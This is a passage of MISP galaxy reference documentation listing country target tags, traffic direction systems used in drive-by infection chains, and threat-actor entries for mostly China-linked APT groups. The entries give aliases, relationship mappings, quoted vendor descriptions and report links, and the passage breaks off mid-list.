The tag is: misp-galaxy:target-information="Israel"
Italy
The tag is: misp-galaxy:target-information="Italy"
Ivory Coast
The tag is: misp-galaxy:target-information="Ivory Coast"
Jamaica
The tag is: misp-galaxy:target-information="Jamaica"
Japan
The tag is: misp-galaxy:target-information="Japan"
Jersey
The tag is: misp-galaxy:target-information="Jersey"
Jordan
The tag is: misp-galaxy:target-information="Jordan"
Kazakhstan
The tag is: misp-galaxy:target-information="Kazakhstan"
Kenya
The tag is: misp-galaxy:target-information="Kenya"
Kiribati
The tag is: misp-galaxy:target-information="Kiribati"
Kosovo
The tag is: misp-galaxy:target-information="Kosovo"
Kuwait
The tag is: misp-galaxy:target-information="Kuwait"
Kyrgyzstan
The tag is: misp-galaxy:target-information="Kyrgyzstan"
Laos
The tag is: misp-galaxy:target-information="Laos"
Latvia
The tag is: misp-galaxy:target-information="Latvia"
Lebanon
The tag is: misp-galaxy:target-information="Lebanon"
Lesotho
The tag is: misp-galaxy:target-information="Lesotho"
Liberia
The tag is: misp-galaxy:target-information="Liberia"
Libya
The tag is: misp-galaxy:target-information="Libya"
Liechtenstein
The tag is: misp-galaxy:target-information="Liechtenstein"
Lithuania
The tag is: misp-galaxy:target-information="Lithuania"
Macau
The tag is: misp-galaxy:target-information="Macau"
North Macedonia
The tag is: misp-galaxy:target-information="North Macedonia"
Madagascar
The tag is: misp-galaxy:target-information="Madagascar"
Malawi
The tag is: misp-galaxy:target-information="Malawi"
Malaysia
The tag is: misp-galaxy:target-information="Malaysia"
Maldives
The tag is: misp-galaxy:target-information="Maldives"
Mali
The tag is: misp-galaxy:target-information="Mali"
Malta
The tag is: misp-galaxy:target-information="Malta"
Marshall Islands
The tag is: misp-galaxy:target-information="Marshall Islands"
Mauritania
The tag is: misp-galaxy:target-information="Mauritania"
Mauritius
The tag is: misp-galaxy:target-information="Mauritius"
Mayotte
The tag is: misp-galaxy:target-information="Mayotte"
Mexico
The tag is: misp-galaxy:target-information="Mexico"
Micronesia
The tag is: misp-galaxy:target-information="Micronesia"
Moldova
The tag is: misp-galaxy:target-information="Moldova"
Monaco
The tag is: misp-galaxy:target-information="Monaco"
Mongolia
The tag is: misp-galaxy:target-information="Mongolia"
Montenegro
The tag is: misp-galaxy:target-information="Montenegro"
Montserrat
The tag is: misp-galaxy:target-information="Montserrat"
Morocco
The tag is: misp-galaxy:target-information="Morocco"
Mozambique
The tag is: misp-galaxy:target-information="Mozambique"
Myanmar
The tag is: misp-galaxy:target-information="Myanmar"
Namibia
The tag is: misp-galaxy:target-information="Namibia"
Nauru
The tag is: misp-galaxy:target-information="Nauru"
Nepal
The tag is: misp-galaxy:target-information="Nepal"
Netherlands
The tag is: misp-galaxy:target-information="Netherlands"
Netherlands Antilles
The tag is: misp-galaxy:target-information="Netherlands Antilles"
New Caledonia
The tag is: misp-galaxy:target-information="New Caledonia"
New Zealand
The tag is: misp-galaxy:target-information="New Zealand"
Nicaragua
The tag is: misp-galaxy:target-information="Nicaragua"
Niger
The tag is: misp-galaxy:target-information="Niger"
Nigeria
The tag is: misp-galaxy:target-information="Nigeria"
Niue
The tag is: misp-galaxy:target-information="Niue"
North Korea
The tag is: misp-galaxy:target-information="North Korea"
Northern Mariana Islands
The tag is: misp-galaxy:target-information="Northern Mariana Islands"
Norway
The tag is: misp-galaxy:target-information="Norway"
Oman
The tag is: misp-galaxy:target-information="Oman"
Pakistan
The tag is: misp-galaxy:target-information="Pakistan"
Palau
The tag is: misp-galaxy:target-information="Palau"
Palestine
The tag is: misp-galaxy:target-information="Palestine"
Panama
The tag is: misp-galaxy:target-information="Panama"
Papua New Guinea
The tag is: misp-galaxy:target-information="Papua New Guinea"
Paraguay
The tag is: misp-galaxy:target-information="Paraguay"
Peru
The tag is: misp-galaxy:target-information="Peru"
Philippines
The tag is: misp-galaxy:target-information="Philippines"
Pitcairn
The tag is: misp-galaxy:target-information="Pitcairn"
Poland
The tag is: misp-galaxy:target-information="Poland"
Portugal
The tag is: misp-galaxy:target-information="Portugal"
Puerto Rico
The tag is: misp-galaxy:target-information="Puerto Rico"
Qatar
The tag is: misp-galaxy:target-information="Qatar"
Republic of the Congo
The tag is: misp-galaxy:target-information="Republic of the Congo"
Reunion
The tag is: misp-galaxy:target-information="Reunion"
Romania
The tag is: misp-galaxy:target-information="Romania"
Russia
The tag is: misp-galaxy:target-information="Russia"
Rwanda
The tag is: misp-galaxy:target-information="Rwanda"
Saint Barthelemy
The tag is: misp-galaxy:target-information="Saint Barthelemy"
Saint Helena
The tag is: misp-galaxy:target-information="Saint Helena"
Saint Kitts and Nevis
The tag is: misp-galaxy:target-information="Saint Kitts and Nevis"
Saint Lucia
The tag is: misp-galaxy:target-information="Saint Lucia"
Saint Martin
The tag is: misp-galaxy:target-information="Saint Martin"
Saint Pierre and Miquelon
The tag is: misp-galaxy:target-information="Saint Pierre and Miquelon"
Saint Vincent and the Grenadines
The tag is: misp-galaxy:target-information="Saint Vincent and the Grenadines"
Samoa
The tag is: misp-galaxy:target-information="Samoa"
San Marino
The tag is: misp-galaxy:target-information="San Marino"
Sao Tome and Principe
The tag is: misp-galaxy:target-information="Sao Tome and Principe"
Saudi Arabia
The tag is: misp-galaxy:target-information="Saudi Arabia"
Senegal
The tag is: misp-galaxy:target-information="Senegal"
Serbia
The tag is: misp-galaxy:target-information="Serbia"
Seychelles
The tag is: misp-galaxy:target-information="Seychelles"
Sierra Leone
The tag is: misp-galaxy:target-information="Sierra Leone"
Singapore
The tag is: misp-galaxy:target-information="Singapore"
Sint Maarten
The tag is: misp-galaxy:target-information="Sint Maarten"
Slovakia
The tag is: misp-galaxy:target-information="Slovakia"
Slovenia
The tag is: misp-galaxy:target-information="Slovenia"
Solomon Islands
The tag is: misp-galaxy:target-information="Solomon Islands"
Somalia
The tag is: misp-galaxy:target-information="Somalia"
South Africa
The tag is: misp-galaxy:target-information="South Africa"
South Korea
The tag is: misp-galaxy:target-information="South Korea"
South Sudan
The tag is: misp-galaxy:target-information="South Sudan"
Spain
The tag is: misp-galaxy:target-information="Spain"
Sri Lanka
The tag is: misp-galaxy:target-information="Sri Lanka"
Sudan
The tag is: misp-galaxy:target-information="Sudan"
Suriname
The tag is: misp-galaxy:target-information="Suriname"
Svalbard and Jan Mayen
The tag is: misp-galaxy:target-information="Svalbard and Jan Mayen"
Swaziland
The tag is: misp-galaxy:target-information="Swaziland"
Sweden
The tag is: misp-galaxy:target-information="Sweden"
Switzerland
The tag is: misp-galaxy:target-information="Switzerland"
Syria
The tag is: misp-galaxy:target-information="Syria"
Taiwan
The tag is: misp-galaxy:target-information="Taiwan"
Tajikistan
The tag is: misp-galaxy:target-information="Tajikistan"
Tanzania
The tag is: misp-galaxy:target-information="Tanzania"
Thailand
The tag is: misp-galaxy:target-information="Thailand"
Togo
The tag is: misp-galaxy:target-information="Togo"
Tokelau
The tag is: misp-galaxy:target-information="Tokelau"
Tonga
The tag is: misp-galaxy:target-information="Tonga"
Trinidad and Tobago
The tag is: misp-galaxy:target-information="Trinidad and Tobago"
Tunisia
The tag is: misp-galaxy:target-information="Tunisia"
Turkey
The tag is: misp-galaxy:target-information="Turkey"
Turkmenistan
The tag is: misp-galaxy:target-information="Turkmenistan"
Turks and Caicos Islands
The tag is: misp-galaxy:target-information="Turks and Caicos Islands"
Tuvalu
The tag is: misp-galaxy:target-information="Tuvalu"
U.S. Virgin Islands
The tag is: misp-galaxy:target-information="U.S. Virgin Islands"
Uganda
The tag is: misp-galaxy:target-information="Uganda"
Ukraine
The tag is: misp-galaxy:target-information="Ukraine"
United Arab Emirates
The tag is: misp-galaxy:target-information="United Arab Emirates"
United Kingdom
The tag is: misp-galaxy:target-information="United Kingdom"
United States
The tag is: misp-galaxy:target-information="United States"
United States is also known as:
-
United States of America
-
USA
-
U.S.
-
US
-
America
Uruguay
The tag is: misp-galaxy:target-information="Uruguay"
Uzbekistan
The tag is: misp-galaxy:target-information="Uzbekistan"
Vanuatu
The tag is: misp-galaxy:target-information="Vanuatu"
Vatican
The tag is: misp-galaxy:target-information="Vatican"
Venezuela
The tag is: misp-galaxy:target-information="Venezuela"
Vietnam
The tag is: misp-galaxy:target-information="Vietnam"
Wallis and Futuna
The tag is: misp-galaxy:target-information="Wallis and Futuna"
Western Sahara
The tag is: misp-galaxy:target-information="Western Sahara"
Yemen
The tag is: misp-galaxy:target-information="Yemen"
Zambia
The tag is: misp-galaxy:target-information="Zambia"
Zimbabwe
The tag is: misp-galaxy:target-information="Zimbabwe"
TDS
TDS is a list of Traffic Direction System used by adversaries.
TDS is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Kafeine
Keitaro
Keitaro TDS is among the mostly used TDS in drive by infection chains
The tag is: misp-galaxy:tds="Keitaro"
Links |
BlackTDS
BlackTDS is mutualised TDS advertised underground since end of December 2017
The tag is: misp-galaxy:tds="BlackTDS"
Links |
ShadowTDS
ShadowTDS is advertised underground since 2016-02. It’s in fact more like a Social Engineering kit focused on Android and embedding a TDS
The tag is: misp-galaxy:tds="ShadowTDS"
Sutra
Sutra TDS was dominant from 2012 till 2015
The tag is: misp-galaxy:tds="Sutra"
Links |
SimpleTDS
SimpleTDS is a basic open source TDS
The tag is: misp-galaxy:tds="SimpleTDS"
SimpleTDS is also known as:
-
Stds
Links |
zTDS
zTDS is an open source TDS
The tag is: misp-galaxy:tds="zTDS"
Links |
BlackHat TDS
BlackHat TDS is sold underground.
The tag is: misp-galaxy:tds="BlackHat TDS"
Links |
http://malware.dontneedcoffee.com/2014/04/meet-blackhat-tds.html |
Futuristic TDS
Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer
The tag is: misp-galaxy:tds="Futuristic TDS"
Threat Actor
Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group..
Threat Actor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Alexandre Dulaunoy - Florian Roth - Thomas Schreck - Timo Steffens - Various
Comment Crew
PLA Unit 61398 (Chinese: 61398部队, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People’s Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks
The tag is: misp-galaxy:threat-actor="Comment Crew"
Comment Crew is also known as:
-
Comment Panda
-
PLA Unit 61398
-
APT 1
-
APT1
-
Advanced Persistent Threat 1
-
Byzantine Candor
-
Group 3
-
TG-8223
-
Comment Group
-
Brown Fox
-
GIF89a
-
ShadyRAT
-
Shanghai Group
Comment Crew has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT1 - G0006" with estimative-language:likelihood-probability="likely"
Stalker Panda
The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States. The attacks appear to be centered on political, media, and engineering sectors. The group appears to have been active since around 2010 and they maintain and upgrade their tools regularly.
The tag is: misp-galaxy:threat-actor="Stalker Panda"
Links |
Nitro
These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.
The tag is: misp-galaxy:threat-actor="Nitro"
Nitro is also known as:
-
Covert Grove
Codoso
The New York Times described Codoso as: 'A collection of hackers for hire that the security industry has been tracking for years. Over the years, the group has breached banks, law firms and tech companies, and once hijacked the Forbes website to try to infect visitors’ computers with malware.'
The tag is: misp-galaxy:threat-actor="Codoso"
Codoso is also known as:
-
C0d0so
-
APT19
-
APT 19
-
Sunshop Group
Codoso has relationships with:
-
similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
Dust Storm
The tag is: misp-galaxy:threat-actor="Dust Storm"
Dust Storm has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031" with estimative-language:likelihood-probability="likely"
Links |
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf |
https://www.symantec.com/connect/blogs/inside-back-door-attack |
Karma Panda
Adversary targeting dissident groups in China and its surroundings.
The tag is: misp-galaxy:threat-actor="Karma Panda"
Links |
Keyhole Panda
The tag is: misp-galaxy:threat-actor="Keyhole Panda"
Keyhole Panda is also known as:
-
temp.bottle
Wet Panda
The tag is: misp-galaxy:threat-actor="Wet Panda"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Foxy Panda
Adversary group targeting telecommunication and technology organizations.
The tag is: misp-galaxy:threat-actor="Foxy Panda"
Links |
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182276.pdf |
Predator Panda
The tag is: misp-galaxy:threat-actor="Predator Panda"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Spicy Panda
The tag is: misp-galaxy:threat-actor="Spicy Panda"
Links |
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf |
Eloquent Panda
The tag is: misp-galaxy:threat-actor="Eloquent Panda"
Links |
Dizzy Panda
The tag is: misp-galaxy:threat-actor="Dizzy Panda"
Dizzy Panda is also known as:
-
LadyBoyle
Putter Panda
Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'
The tag is: misp-galaxy:threat-actor="Putter Panda"
Putter Panda is also known as:
-
PLA Unit 61486
-
APT 2
-
APT2
-
Group 36
-
APT-2
-
MSUpdater
-
4HCrew
-
SULPHUR
-
SearchFire
-
TG-6952
Putter Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Putter Panda - G0024" with estimative-language:likelihood-probability="likely"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
https://www.cfr.org/interactive/cyber-operations/putter-panda |
UPS
Symantec described UPS in 2016 report as: 'Buckeye (also known as APT3, Gothic Panda, UPS Team, and TG-0110) is a cyberespionage group that is believed to have been operating for well over half a decade. Traditionally, the group attacked organizations in the US as well as other targets. However, Buckeyes focus appears to have changed as of June 2015, when the group began compromising political entities in Hong Kong.'
The tag is: misp-galaxy:threat-actor="UPS"
UPS is also known as:
-
Gothic Panda
-
TG-0110
-
APT 3
-
Group 6
-
UPS Team
-
APT3
-
Buckeye
-
Boyusec
UPS has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT3 - G0022" with estimative-language:likelihood-probability="likely"
Links |
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong |
DarkHotel
Kaspersky described DarkHotel in a 2014 report as: '… DarkHotel drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crews most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world.'
The tag is: misp-galaxy:threat-actor="DarkHotel"
DarkHotel is also known as:
-
DUBNIUM
-
Fallout Team
-
Karba
-
Luder
-
Nemim
-
Nemin
-
Tapaoux
-
Pioneer
-
Shadow Crane
-
APT-C-06
-
SIG25
DarkHotel has relationships with:
-
similar: misp-galaxy:microsoft-activity-group="DUBNIUM" with estimative-language:likelihood-probability="likely"
IXESHE
A group of China-based attackers, who conducted a number of spear phishing attacks in 2013.
The tag is: misp-galaxy:threat-actor="IXESHE"
IXESHE is also known as:
-
Numbered Panda
-
TG-2754
-
BeeBus
-
Group 22
-
DynCalc
-
Calc Team
-
DNSCalc
-
Crimson Iron
-
APT12
-
APT 12
IXESHE has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT12 - G0005" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
APT 16
Between November 26, 2015, and December 1, 2015, known and suspected China-based APT groups launched several spear-phishing attacks targeting Japanese and Taiwanese organizations in the high-tech, government services, media and financial services industries. Each campaign delivered a malicious Microsoft Word document exploiting the aforementioned EPS dict copy use-after-free vulnerability, and the local Windows privilege escalation vulnerability CVE-2015-1701. The successful exploitation of both vulnerabilities led to the delivery of either a downloader that we refer to as IRONHALO, or a backdoor that we refer to as ELMER.
The tag is: misp-galaxy:threat-actor="APT 16"
APT 16 is also known as:
-
APT16
-
SVCMONDR
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html |
Aurora Panda
FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'
The tag is: misp-galaxy:threat-actor="Aurora Panda"
Aurora Panda is also known as:
-
APT 17
-
Deputy Dog
-
Group 8
-
APT17
-
Hidden Lynx
-
Tailgater Team
-
Dogfish
Aurora Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"
Wekby
Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'
The tag is: misp-galaxy:threat-actor="Wekby"
Wekby is also known as:
-
Dynamite Panda
-
TG-0416
-
APT 18
-
SCANDIUM
-
PLA Navy
-
APT18
Wekby has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"
Links |
https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828 |
Tropic Trooper
TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'
The tag is: misp-galaxy:threat-actor="Tropic Trooper"
Tropic Trooper is also known as:
-
Operation Tropic Trooper
-
Operation TropicTrooper
-
TropicTrooper
Links |
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/ |
Axiom
The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'
The tag is: misp-galaxy:threat-actor="Axiom"
Axiom is also known as:
-
Winnti Umbrella
-
Winnti Group
-
WinNTI
-
Tailgater Team
-
Suckfly
-
APT41
-
APT 41
-
Group 72
-
Group72
-
Tailgater
-
Ragebeast
-
Blackfly
-
Lead
-
Wicked Spider
-
APT17
-
APT 17
-
Dogfish
-
Deputy Dog
-
Wicked Panda
-
Barium
Axiom has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"
Shell Crew
Adversary group targeting financial, technology, non-profit organisations.
The tag is: misp-galaxy:threat-actor="Shell Crew"
Shell Crew is also known as:
-
Deep Panda
-
WebMasters
-
APT 19
-
KungFu Kittens
-
Black Vine
-
Group 13
-
PinkPanther
-
Sh3llCr3w
Shell Crew has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"
Naikon
Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'
The tag is: misp-galaxy:threat-actor="Naikon"
Naikon is also known as:
-
PLA Unit 78020
-
APT 30
-
APT30
-
Override Panda
-
Camerashy
-
APT.Naikon
-
Lotus Panda
-
Hellsing
Naikon has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Lotus Panda" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"
Lotus Blossom
Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.
The tag is: misp-galaxy:threat-actor="Lotus Blossom"
Lotus Blossom is also known as:
-
Spring Dragon
-
ST Group
-
Esile
-
DRAGONFISH
Lotus Blossom has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/blog/research/70726/the-spring-dragon-apt/ |
https://securelist.com/spring-dragon-updated-activity/79067/ |
https://www.cfr.org/interactive/cyber-operations/lotus-blossom |
https://unit42.paloaltonetworks.com/operation-lotus-blossom/ |
https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-46/Accenture-Security-Elise-Threat-Analysis.pdf[https://www.accenture.com/t00010101T000000Zw/gb-en/_acnmedia/PDF-46/Accenture-Security-Elise-Threat-Analysis.pdf] |
https://unit42.paloaltonetworks.com/attack-on-french-diplomat-linked-to-operation-lotus-blossom/ |
https://www.accenture.com/t20180127T003755Z_w_/us-en/acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf] |
Lotus Panda
The tag is: misp-galaxy:threat-actor="Lotus Panda"
Lotus Panda is also known as:
-
Elise
Lotus Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Naikon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="APT 30" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"
Links |
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/ |
Hurricane Panda
We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA’s preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.
The tag is: misp-galaxy:threat-actor="Hurricane Panda"
Hurricane Panda is also known as:
-
Black Vine
-
TEMP.Avengers
-
Zirconium
-
APT 31
-
APT31
Hurricane Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"
Links |
https://blog.confiant.com/uncovering-2017s-largest-malvertising-operation-b84cd38d6b85 |
Emissary Panda
A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.
The tag is: misp-galaxy:threat-actor="Emissary Panda"
Emissary Panda is also known as:
-
TG-3390
-
APT 27
-
TEMP.Hippo
-
Group 35
-
Bronze Union
-
ZipToken
-
HIPPOTeam
-
APT27
-
Operation Iron Tiger
-
Iron Tiger APT
-
BRONZE UNION
-
Lucky Mouse
Emissary Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"
Stone Panda
The tag is: misp-galaxy:threat-actor="Stone Panda"
Stone Panda is also known as:
-
APT10
-
APT 10
-
MenuPass
-
Menupass Team
-
menuPass
-
menuPass Team
-
happyyongzi
-
POTASSIUM
-
DustStorm
-
Red Apollo
-
CVNX
-
HOGFISH
-
Cloud Hopper
Stone Panda has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="menuPass - G0045" with estimative-language:likelihood-probability="likely"
-
suspected-link: misp-galaxy:threat-actor="Operation Soft Cell" with estimative-language:likelihood-probability="likely"
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
https://www.eweek.com/security/chinese-nation-state-hackers-target-u.s-in-operation-tradesecret |
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ |
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf |
https://www.accenture.com/t20180423T055005Z_w_/se-en/acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf] |
https://www.fbi.gov/news/stories/chinese-hackers-indicted-122018 |
Nightshade Panda
The tag is: misp-galaxy:threat-actor="Nightshade Panda"
Nightshade Panda is also known as:
-
APT 9
-
Flowerlady/Flowershow
-
Flowerlady
-
Flowershow
Links |
Hellsing
This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage
The tag is: misp-galaxy:threat-actor="Hellsing"
Hellsing is also known as:
-
Goblin Panda
-
Cycldek
Night Dragon
The tag is: misp-galaxy:threat-actor="Night Dragon"
Night Dragon has relationships with:
-
similar: misp-galaxy:mitre-intrusion-set="Night Dragon - G0014" with estimative-language:likelihood-probability="likely"
Links |
https://kc.mcafee.com/corporate/index?page=content&id=KB71150 |
Mirage
This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.
The tag is: misp-galaxy:threat-actor="Mirage"
Mirage is also known as:
-
Vixen Panda
-
Ke3Chang
-
GREF
-
Playful Dragon
-
APT 15
-
APT15
-
Metushy
-
Lurid
-
Social Network Team
-
Royal APT
Anchor Panda
PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.
The tag is: misp-galaxy:threat-actor="Anchor Panda"
Anchor Panda is also known as:
-
APT14
-
APT 14
-
QAZTeam
-
ALUMINUM
Anchor Panda has relationships with:
-
uses: misp-galaxy:rat="Gh0st RAT" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:tool="Gh0st Rat" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:tool="Torn RAT" with estimative-language:likelihood-probability="likely"
Links |
https://www.cfr.org/interactive/cyber-operations/anchor-panda |
NetTraveler
The tag is: misp-galaxy:threat-actor="NetTraveler"
NetTraveler is also known as:
-
APT 21
-
APT21
-
TravNet
Ice Fog
Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.
The tag is: misp-galaxy:threat-actor="Ice Fog"
Ice Fog is also known as:
-
IceFog
-
Dagger Panda
Pitty Panda
